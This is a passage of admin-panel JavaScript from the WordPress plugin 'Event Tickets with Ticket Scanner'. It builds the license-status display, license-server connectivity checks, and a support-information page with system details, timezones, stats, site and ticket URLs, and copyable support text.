		// Load JS if not already loaded (or always in debug mode)
		if (!system.is_debug &amp;&amp; system.DYNJS[jsFile]) {
			sasoEventtickets_js_seating_admin(myAjax, getHelperFunktions()).initAdmin(div);
		} else {
			console.log(&#039;Loading seating admin JS: &#039; + jsFile);
			$.getScript(myAjax._plugin_home_url + &#039;/&#039; + jsFile, (data) =&gt; {
				system.DYNJS[jsFile] = data;
				eval(data);
				sasoEventtickets_js_seating_admin(myAjax, getHelperFunktions()).initAdmin(div);
			});
		}

		return div;
	}
	function _renderLicenseStatus(container, info) {
		container.html(&#039;&#039;);
		if (!info || typeof info === &#039;undefined&#039;) {
			container.append(&#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;&#039;+__(&#039;Status&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;span class=&quot;et-badge&quot; style=&quot;background:#f3f4f6;color:#6b7280;&quot;&gt;&#039;+__(&#039;Not checked yet&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;/div&gt;&#039;);
			return;
		}
		let statusLabel, badgeClass;
		if (typeof info.active !== &#039;undefined&#039;) {
			statusLabel = info.active ? __(&#039;Active&#039;, &#039;event-tickets-with-ticket-scanner&#039;) : __(&#039;Inactive&#039;, &#039;event-tickets-with-ticket-scanner&#039;);
			badgeClass = info.active ? &#039;et-badge-success&#039; : &#039;et-badge-danger&#039;;
		} else if (info.subscription_type === &#039;lifetime&#039; || info.timestamp == -1) {
			statusLabel = __(&#039;Active&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039; (Lifetime)&#039;;
			badgeClass = &#039;et-badge-success&#039;;
		} else if (info.timestamp &gt; 0 &amp;&amp; info.timestamp * 1000 &gt; Date.now()) {
			statusLabel = __(&#039;Active&#039;, &#039;event-tickets-with-ticket-scanner&#039;);
			badgeClass = &#039;et-badge-success&#039;;
		} else if (info.timestamp &gt; 0) {
			statusLabel = __(&#039;Expired&#039;, &#039;event-tickets-with-ticket-scanner&#039;);
			badgeClass = &#039;et-badge-danger&#039;;
		} else {
			statusLabel = __(&#039;Not checked yet&#039;, &#039;event-tickets-with-ticket-scanner&#039;);
			badgeClass = &#039;&#039;;
		}
		container.append(&#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;&#039;+__(&#039;Status&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;span class=&quot;et-badge &#039;+badgeClass+&#039;&quot;&gt;&#039;+statusLabel+&#039;&lt;/span&gt;&lt;/div&gt;&#039;);
		if (info.last_success &amp;&amp; parseInt(info.last_success) &gt; 0) {
			let lastDate = new Date(parseInt(info.last_success) * 1000);
			container.append(&#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;&#039;+__(&#039;Last successful check&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+lastDate.toLocaleString()+&#039;&lt;/span&gt;&lt;/div&gt;&#039;);
		}
		if (info.expiration_date &amp;&amp; info.expiration_date !== &#039;&#039;) {
			container.append(&#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;&#039;+__(&#039;Expiration date&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+info.expiration_date+&#039;&lt;/span&gt;&lt;/div&gt;&#039;);
		}
		if (info.subscription_type &amp;&amp; info.subscription_type !== &#039;&#039;) {
			container.append(&#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;&#039;+__(&#039;Subscription type&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;text-transform:capitalize;&quot;&gt;&#039;+info.subscription_type+&#039;&lt;/span&gt;&lt;/div&gt;&#039;);
		}
		let failures = parseInt(info.consecutive_failures || 0);
		if (failures &gt; 0) {
			container.append(&#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;&#039;+__(&#039;Consecutive failures&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;span class=&quot;et-badge et-badge-danger&quot;&gt;&#039;+failures+&#039;&lt;/span&gt;&lt;/div&gt;&#039;);
		}
		if (parseInt(info.notvalid || 0) &gt; 0) {
			container.append(&#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;&#039;+__(&#039;Server flagged as not valid&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;span class=&quot;et-badge et-badge-danger&quot;&gt;&#039;+__(&#039;Yes&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;/div&gt;&#039;);
		}
	}

	function _displaySupportInfoArea() {
		STATE = &#039;support&#039;;
		DIV.html(_getSpinnerHTML());
		getOptionsFromServer(reply=&gt;{
			let newline = &#039;&lt;br&gt;&#039;;
			let div_stats = $(&#039;&lt;div/&gt;&#039;).html(_getSpinnerHTML());
			let statsData = null;

			_makeGet(&#039;getSupportInfos&#039;, {}, infos=&gt;{
				statsData = infos.amount;
				let statsRows = &#039;&#039;;
				statsRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Ticket Counter&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+reply.infos.ticket.counter+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
				statsRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Codes&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+infos.amount.codes+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
				statsRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Lists&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+infos.amount.lists+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
				statsRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;IPs&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+infos.amount.ips+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
				div_stats.html(&#039;&lt;div class=&quot;et-kv-table&quot;&gt;&#039;+statsRows+&#039;&lt;/div&gt;&#039;);
				// Update textarea with stats
				if (typeof supportTextarea !== &#039;undefined&#039;) {
					supportTextarea.val(_buildSupportText());
				}
			});

			let data = reply.options; // options values
			let versions = reply.versions;

			DIV.html(getBackButtonDiv());

			// ── Quick Links row ──
			let quickLinks = $(&#039;&lt;div class=&quot;et-support-quicklinks&quot;&gt;&#039;).appendTo(DIV);
			$(&#039;&lt;a class=&quot;et-card et-support-link&quot; href=&quot;https://vollstart.com/event-tickets-with-ticket-scanner/docs/&quot; target=&quot;_blank&quot;&gt;&lt;span class=&quot;dashicons dashicons-book&quot; style=&quot;color:var(--et-primary);&quot;&gt;&lt;/span&gt;&lt;div&gt;&lt;strong&gt;Documentation&lt;/strong&gt;&lt;span&gt;&#039;+__(&#039;Visit the full plugin docs&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&#039;).appendTo(quickLinks);
			$(&#039;&lt;a class=&quot;et-card et-support-link&quot; href=&quot;https://chatgpt.com/g/g-6819d8f68338819193a4be7e7973cce0-event-tickets-support-gpt&quot; target=&quot;_blank&quot;&gt;&lt;span class=&quot;dashicons dashicons-format-chat&quot; style=&quot;color:var(--et-primary);&quot;&gt;&lt;/span&gt;&lt;div&gt;&lt;strong&gt;AI Support Bot&lt;/strong&gt;&lt;span&gt;&#039;+__(&#039;Get instant answers from our AI&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&#039;).appendTo(quickLinks);
			$(&#039;&lt;a class=&quot;et-card et-support-link&quot; href=&quot;https://vollstart.com/posts/category/eventticketupdates/&quot; target=&quot;_blank&quot;&gt;&lt;span class=&quot;dashicons dashicons-megaphone&quot; style=&quot;color:var(--et-primary);&quot;&gt;&lt;/span&gt;&lt;div&gt;&lt;strong&gt;Release Notes&lt;/strong&gt;&lt;span&gt;&#039;+__(&#039;See latest updates&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&#039;).appendTo(quickLinks);
			$(&#039;&lt;div class=&quot;et-card et-support-link&quot; style=&quot;cursor:default;&quot;&gt;&lt;span class=&quot;dashicons dashicons-email&quot; style=&quot;color:var(--et-primary);&quot;&gt;&lt;/span&gt;&lt;div&gt;&lt;strong&gt;Support Email&lt;/strong&gt;&lt;span&gt;support@vollstart.com&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&#039;).appendTo(quickLinks);

			// ── Useful Videos ──
			DIV.append(getUseFulVideosHTML);

			// ── Two-column layout: left = System Info, right = License + Date + Stats ──
			let row1 = $(&#039;&lt;div style=&quot;display:grid;grid-template-columns:1fr 1fr;gap:16px;align-items:start;&quot;&gt;&#039;).appendTo(DIV);
			let row1Right = $(&#039;&lt;div style=&quot;display:flex;flex-direction:column;gap:16px;&quot;&gt;&#039;).appendTo(row1);

			// ── System Info Card (left) ──
			let sysCard = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(row1);
			sysCard.append(&#039;&lt;div class=&quot;et-card-header&quot;&gt;&lt;span class=&quot;dashicons dashicons-info-outline&quot; style=&quot;color:var(--et-primary);margin-right:6px;&quot;&gt;&lt;/span&gt;&#039;+__(&#039;Support Context Information&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/div&gt;&#039;);
			sysCard.append(&#039;&lt;p style=&quot;color:var(--et-text-secondary);font-size:13px;margin-bottom:12px;&quot;&gt;&#039;+__(&#039;Please copy the following information, so that we can support you better and faster. Remove any critical information if needed.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;);

			// ── License &amp; Connectivity Card (right) ──
			if (versions.premium != &quot;&quot; || isPremium() || _getOptions_Versions_getByKey(&#039;isOldPremiumDetected&#039;)) {
				let licenseCard = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(row1Right);
				licenseCard.append(&#039;&lt;div class=&quot;et-card-header&quot;&gt;&lt;span class=&quot;dashicons dashicons-admin-network&quot; style=&quot;color:var(--et-primary);margin-right:6px;&quot;&gt;&lt;/span&gt;&#039;+__(&#039;License Status&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/div&gt;&#039;);
				let licenseStatusDiv = $(&#039;&lt;div&gt;&#039;).appendTo(licenseCard);
				_renderLicenseStatus(licenseStatusDiv, reply.infos.premium_expiration);
				let licenseBtnRow = $(&#039;&lt;div style=&quot;display:flex;gap:8px;align-items:center;margin-top:12px;&quot;&gt;&#039;).appendTo(licenseCard);
				let recheckBtn = $(&#039;&lt;button class=&quot;button button-secondary&quot;&gt;&#039;).html(__(&#039;Check License Now&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
				recheckBtn.on(&#039;click&#039;, function() {
					recheckBtn.prop(&#039;disabled&#039;, true).html(__(&#039;Checking...&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
					_makePost(&#039;recheckLicense&#039;, {}, function(result) {
						recheckBtn.prop(&#039;disabled&#039;, false).html(__(&#039;Check License Now&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
						if (result) _renderLicenseStatus(licenseStatusDiv, result);
					}, function() {
						recheckBtn.prop(&#039;disabled&#039;, false).html(__(&#039;Check License Now&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
					});
				});
				licenseBtnRow.append(recheckBtn);
				let serverCheckBtn = $(&#039;&lt;button class=&quot;button button-secondary&quot;&gt;&#039;).html(&#039;Check License Server&#039;);
				let serverCheckResult = $(&#039;&lt;span style=&quot;font-size:13px;&quot;&gt;&#039;);
				licenseBtnRow.append(serverCheckBtn).append(serverCheckResult);
				serverCheckBtn.on(&#039;click&#039;, function() {
					serverCheckBtn.prop(&#039;disabled&#039;, true).text(&#039;Checking...&#039;);
					serverCheckResult.html(&#039;&lt;span style=&quot;color:var(--et-text-muted);&quot;&gt;Connecting...&lt;/span&gt;&#039;);
					_makePost(&#039;checkLicenseServer&#039;, {}, function(response) {
						serverCheckBtn.prop(&#039;disabled&#039;, false).text(&#039;Check License Server&#039;);
						if (response.success &amp;&amp; response.reachable) {
							serverCheckResult.html(&#039;&lt;span class=&quot;et-badge et-badge-success&quot;&gt;&#039;+response.message+&#039;&lt;/span&gt;&#039;);
						} else {
							serverCheckResult.html(&#039;&lt;span class=&quot;et-badge et-badge-danger&quot;&gt;&#039;+response.message+&#039;&lt;/span&gt;&#039;);
						}
					}, function() {
						serverCheckBtn.prop(&#039;disabled&#039;, false).text(&#039;Check License Server&#039;);
						serverCheckResult.html(&#039;&lt;span class=&quot;et-badge et-badge-danger&quot;&gt;Connection failed&lt;/span&gt;&#039;);
					});
				});
			} else {
				// No premium — just connectivity check
				let connCard = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(row1Right);
				connCard.append(&#039;&lt;div class=&quot;et-card-header&quot;&gt;&lt;span class=&quot;dashicons dashicons-admin-network&quot; style=&quot;color:var(--et-primary);margin-right:6px;&quot;&gt;&lt;/span&gt;License Server Connectivity&lt;/div&gt;&#039;);
				connCard.append(&#039;&lt;p style=&quot;color:var(--et-text-secondary);font-size:13px;margin-bottom:12px;&quot;&gt;Check if the license/update server is reachable.&lt;/p&gt;&#039;);
				let connBtnRow = $(&#039;&lt;div style=&quot;display:flex;gap:8px;align-items:center;&quot;&gt;&#039;).appendTo(connCard);
				let connBtn = $(&#039;&lt;button class=&quot;button button-secondary&quot;&gt;&#039;).html(&#039;Check License Server&#039;);
				let connResult = $(&#039;&lt;span style=&quot;font-size:13px;&quot;&gt;&#039;);
				connBtnRow.append(connBtn).append(connResult);
				connBtn.on(&#039;click&#039;, function() {
					connBtn.prop(&#039;disabled&#039;, true).text(&#039;Checking...&#039;);
					connResult.html(&#039;&lt;span style=&quot;color:var(--et-text-muted);&quot;&gt;Connecting...&lt;/span&gt;&#039;);
					_makePost(&#039;checkLicenseServer&#039;, {}, function(response) {
						connBtn.prop(&#039;disabled&#039;, false).text(&#039;Check License Server&#039;);
						if (response.success &amp;&amp; response.reachable) {
							connResult.html(&#039;&lt;span class=&quot;et-badge et-badge-success&quot;&gt;&#039;+response.message+&#039;&lt;/span&gt;&#039;);
						} else {
							connResult.html(&#039;&lt;span class=&quot;et-badge et-badge-danger&quot;&gt;&#039;+response.message+&#039;&lt;/span&gt;&#039;);
						}
					}, function() {
						connBtn.prop(&#039;disabled&#039;, false).text(&#039;Check License Server&#039;);
						connResult.html(&#039;&lt;span class=&quot;et-badge et-badge-danger&quot;&gt;Connection failed&lt;/span&gt;&#039;);
					});
				});
			}

			// System info table (appended to sysCard defined above)
			let sysRows = &#039;&#039;;
			sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;WordPress&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.wp+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Requires WP&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.requires_wp+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Tested up to&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.tested_up_to+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;PHP&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.php+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Requires PHP&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.requires_php+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;MySQL/MariaDB&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.mysql+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Basic Plugin&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.basic+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Basic DB&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.db+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			if (versions.first_activated_at) {
				sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;First Activated&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+_formatActivationDate(versions.first_activated_at)+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			}
			if (versions.premium != &quot;&quot;) {
				sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Premium License Key&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;font-family:monospace;font-size:12px;&quot;&gt;&#039;+versions.premium_serial+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
				sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Premium Plugin&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.premium+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
				sysRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Premium DB&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.premium_db+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			}
			sysCard.append(&#039;&lt;div class=&quot;et-kv-table&quot;&gt;&#039;+sysRows+&#039;&lt;/div&gt;&#039;);

			// ── Copy-able Support Text ──
			// Build plain-text version of ALL support info for easy copy-paste
			function _buildSupportText() {
				let lines = [];
				lines.push(&#039;=== Support Context Information ===&#039;);
				lines.push(&#039;WordPress Version: &#039;+versions.wp);
				lines.push(&#039;Requires WP: &#039;+versions.requires_wp);
				lines.push(&#039;Tested up to: &#039;+versions.tested_up_to);
				lines.push(&#039;PHP Version: &#039;+versions.php);
				lines.push(&#039;Requires PHP: &#039;+versions.requires_php);
				lines.push(&#039;MySQL/MariaDB Version: &#039;+versions.mysql);
				lines.push(&#039;Product: Event Tickets with WooCommerce&#039;);
				lines.push(&#039;Basic Plugin Version: &#039;+versions.basic);
				lines.push(&#039;Basic DB Version: &#039;+versions.db);
				if (versions.first_activated_at) {
					lines.push(&#039;First Activated: &#039;+_formatActivationDate(versions.first_activated_at));
				}
				if (versions.premium != &quot;&quot;) {
					lines.push(&#039;Premium License Key: &#039;+versions.premium_serial);
					lines.push(&#039;Premium Plugin Version: &#039;+versions.premium);
					lines.push(&#039;Premium DB Version: &#039;+versions.premium_db);
				}
				lines.push(&#039;&#039;);
				lines.push(&#039;=== Date &amp; Timezone ===&#039;);
				lines.push(&#039;Default Timezone: &#039;+versions.date_default_timezone);
				lines.push(&#039;WP Timezone: &#039;+versions.date_WP_timezone);
				lines.push(&#039;WP Timezone Full: &#039;+versions.date_WP_timezone_time);
				lines.push(&#039;Your Date: &#039;+versions.date_default_timezone_time);
				lines.push(&#039;UTC Date: &#039;+versions.date_UTC_timezone_time);
				lines.push(&#039;&#039;);
				lines.push(&#039;=== Stats ===&#039;);
				lines.push(&#039;Ticket Counter: &#039;+reply.infos.ticket.counter);
				if (statsData) {
					lines.push(&#039;Codes: &#039;+statsData.codes);
					lines.push(&#039;Lists: &#039;+statsData.lists);
					lines.push(&#039;IPs: &#039;+statsData.ips);
				}
				lines.push(&#039;&#039;);
				lines.push(&#039;=== URLs ===&#039;);
				lines.push(&#039;Multisite: &#039;+reply.infos.site.is_multisite);
				lines.push(&#039;Home: &#039;+reply.infos.site.home);
				lines.push(&#039;Network Home: &#039;+reply.infos.site.network_home);
				lines.push(&#039;Site URL: &#039;+reply.infos.site.site_url);
				lines.push(&#039;&#039;);
				lines.push(&#039;=== Ticket URLs ===&#039;);
				lines.push(&#039;Detail Own URL: &#039;+reply.infos.site.home+&#039;/&#039;+_getOptions_getValByKey(&quot;wcTicketCompatibilityModeURLPath&quot;));
				lines.push(&#039;Scanner Own URL: &#039;+reply.infos.site.home+&#039;/&#039;+_getOptions_getValByKey(&quot;wcTicketCompatibilityModeURLPath&quot;)+&#039;/scanner/&#039;);
				lines.push(&#039;Detail Default URL: &#039;+reply.infos.ticket.ticket_base_url);
				lines.push(&#039;Scanner Default: &#039;+reply.infos.ticket.ticket_scanner_path);
				lines.push(&#039;Detail Plugin Path: &#039;+reply.infos.ticket.ticket_detail_path);
				lines.push(&#039;Scanner Plugin Path: &#039;+reply.infos.ticket.ticket_detail_path+&#039;scanner/&#039;);
				return lines.join(&#039;\n&#039;);
			}
			let supportText = _buildSupportText();
			let copyArea = $(&#039;&lt;div style=&quot;margin-top:16px;&quot;&gt;&#039;).appendTo(sysCard);
			let copyBtnRow = $(&#039;&lt;div style=&quot;display:flex;gap:8px;align-items:center;margin-bottom:8px;&quot;&gt;&#039;).appendTo(copyArea);
			let copyBtn = $(&#039;&lt;button class=&quot;button button-secondary&quot;&gt;&#039;).html(&#039;&lt;span class=&quot;dashicons dashicons-clipboard&quot; style=&quot;vertical-align:middle;margin-right:4px;font-size:16px;&quot;&gt;&lt;/span&gt;&#039;+__(&#039;Copy to clipboard&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
			let copyStatus = $(&#039;&lt;span style=&quot;font-size:13px;&quot;&gt;&#039;);
			copyBtnRow.append(copyBtn).append(copyStatus);
			copyBtn.on(&#039;click&#039;, function() {
				supportTextarea[0].select();
				if (navigator.clipboard) {
					navigator.clipboard.writeText(supportTextarea.val()).then(()=&gt;{
						copyStatus.html(&#039;&lt;span class=&quot;et-badge et-badge-success&quot;&gt;Copied!&lt;/span&gt;&#039;);
						setTimeout(()=&gt;{ copyStatus.html(&#039;&#039;); }, 2000);
					});
				} else {
					document.execCommand(&#039;copy&#039;);
					copyStatus.html(&#039;&lt;span class=&quot;et-badge et-badge-success&quot;&gt;Copied!&lt;/span&gt;&#039;);
					setTimeout(()=&gt;{ copyStatus.html(&#039;&#039;); }, 2000);
				}
			});
			let supportTextarea = $(&#039;&lt;textarea readonly class=&quot;et-support-textarea&quot;&gt;&#039;).val(supportText).appendTo(copyArea);

			// ── Date &amp; Timezone Card ──
			let dateCard = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(row1Right);
			dateCard.append(&#039;&lt;div class=&quot;et-card-header&quot;&gt;&lt;span class=&quot;dashicons dashicons-clock&quot; style=&quot;color:var(--et-primary);margin-right:6px;&quot;&gt;&lt;/span&gt;Date &amp;amp; Timezone&lt;/div&gt;&#039;);
			let dateRows = &#039;&#039;;
			dateRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Default Timezone&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.date_default_timezone+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			dateRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;WP Timezone&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.date_WP_timezone+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			dateRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;WP Timezone Full&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.date_WP_timezone_time+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			dateRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Your Date&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.date_default_timezone_time+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			dateRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;UTC Date&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+versions.date_UTC_timezone_time+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			dateCard.append(&#039;&lt;div class=&quot;et-kv-table&quot;&gt;&#039;+dateRows+&#039;&lt;/div&gt;&#039;);

			// ── Stats Card ──
			let statsCard = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(row1Right);
			statsCard.append(&#039;&lt;div class=&quot;et-card-header&quot;&gt;&lt;span class=&quot;dashicons dashicons-chart-bar&quot; style=&quot;color:var(--et-primary);margin-right:6px;&quot;&gt;&lt;/span&gt;Stats&lt;/div&gt;&#039;);
			statsCard.append(div_stats);

			// ── Two-column row: URLs + Libraries ──
			let row3 = $(&#039;&lt;div style=&quot;display:grid;grid-template-columns:1fr 1fr;gap:16px;align-items:start;&quot;&gt;&#039;).appendTo(DIV);

			// ── URLs Card ──
			let urlsCard = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(row3);
			urlsCard.append(&#039;&lt;div class=&quot;et-card-header&quot;&gt;&lt;span class=&quot;dashicons dashicons-admin-links&quot; style=&quot;color:var(--et-primary);margin-right:6px;&quot;&gt;&lt;/span&gt;URLs&lt;/div&gt;&#039;);
			let urlRows = &#039;&#039;;
			urlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Multisite&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+reply.infos.site.is_multisite+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			urlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Home&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;word-break:break-all;&quot;&gt;&#039;+reply.infos.site.home+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			urlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Network Home&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;word-break:break-all;&quot;&gt;&#039;+reply.infos.site.network_home+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			urlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Site URL&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;word-break:break-all;&quot;&gt;&#039;+reply.infos.site.site_url+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			urlsCard.append(&#039;&lt;div class=&quot;et-kv-table&quot;&gt;&#039;+urlRows+&#039;&lt;/div&gt;&#039;);

			// Ticket URLs sub-section
			urlsCard.append(&#039;&lt;div class=&quot;et-card-header&quot; style=&quot;margin-top:16px;&quot;&gt;&lt;span class=&quot;dashicons dashicons-tickets-alt&quot; style=&quot;color:var(--et-primary);margin-right:6px;&quot;&gt;&lt;/span&gt;Ticket URLs&lt;/div&gt;&#039;);
			let ticketUrlRows = &#039;&#039;;
			ticketUrlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Detail Own URL&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;word-break:break-all;&quot;&gt;&#039;+reply.infos.site.home+&#039;/&#039;+_getOptions_getValByKey(&quot;wcTicketCompatibilityModeURLPath&quot;)+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			ticketUrlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Scanner Own URL&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;word-break:break-all;&quot;&gt;&#039;+reply.infos.site.home+&#039;/&#039;+_getOptions_getValByKey(&quot;wcTicketCompatibilityModeURLPath&quot;)+&#039;/scanner/&lt;/span&gt;&lt;/div&gt;&#039;;
